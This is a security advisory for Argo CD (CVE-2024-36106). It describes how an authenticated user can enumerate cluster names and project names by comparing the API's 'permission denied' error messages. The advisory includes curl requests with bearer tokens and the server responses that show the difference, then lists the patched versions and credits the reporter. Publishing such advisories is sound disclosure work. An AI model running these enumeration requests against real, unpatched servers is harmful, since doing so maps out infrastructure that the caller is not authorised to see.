Impact

It’s possible for authenticated users to enumerate clusters by name by inspecting error messages:

$ curl -k 'https://localhost:8080/api/v1/clusters/in-cluster?id.type=name' -H "Authorization: 
Bearer $token"
{"error":"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z","code":7,"message":"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z"}⏎                                 
                                   
$ curl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H "Authorizati
on: Bearer $token"
{"error":"permission denied","code":7,"message":"permission denied"}

It’s also possible to enumerate the names of projects with project-scoped clusters if you know the names of the clusters.

curl -k 'https://localhost:8080/api/v1/clusters/in-cluster-project?id.type=name' -H "Authorization: Bearer $token"
{"error":"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z","code":7,"message":"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z"}

curl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H "Authorization: Bearer $token"
{"error":"permission denied","code":7,"message":"permission denied"}

Patches

A patch for this vulnerability has been released in the following Argo CD versions:

v2.11.3
v2.10.12
v2.9.17

For more information

If you have any questions or comments about this advisory:

Open an issue in the Argo CD issue tracker or discussions
Join us on Slack in channel #argo-cd

Credits
This vulnerability was found & reported by @crenshaw-dev (Michael Crenshaw)

The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue

References

• GHSA-3cqf-953p-h5cp
• https://nvd.nist.gov/vuln/detail/CVE-2024-36106
• argoproj/argo-cd@c264705